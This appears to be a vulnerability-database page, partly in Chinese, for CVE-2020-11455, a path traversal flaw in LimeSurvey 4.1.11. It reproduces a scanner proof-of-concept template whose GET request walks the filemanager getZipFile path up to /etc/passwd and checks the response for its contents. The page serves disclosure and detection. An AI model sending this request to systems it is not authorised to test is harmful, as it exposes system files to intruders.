CVE-2020-11455: LimeSurvey 4.1.11 - Path Traversal

日期: 2025-09-01 | 影响软件: LimeSurvey | POC: 已公开

漏洞描述

LimeSurvey before 4.1.12+200324 contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.

PoC代码[已公开]

id: CVE-2020-11455

info:
  name: LimeSurvey 4.1.11 - Path Traversal
  author: daffainfo
  severity: medium
  description: LimeSurvey before 4.1.12+200324 contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.
  reference:
    - https://www.exploit-db.com/exploits/48297
    - https://www.cvedetails.com/cve/CVE-2020-11455

rules:
  r0:
    request:
      method: GET
      path: /index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-11455.yaml

相关漏洞推荐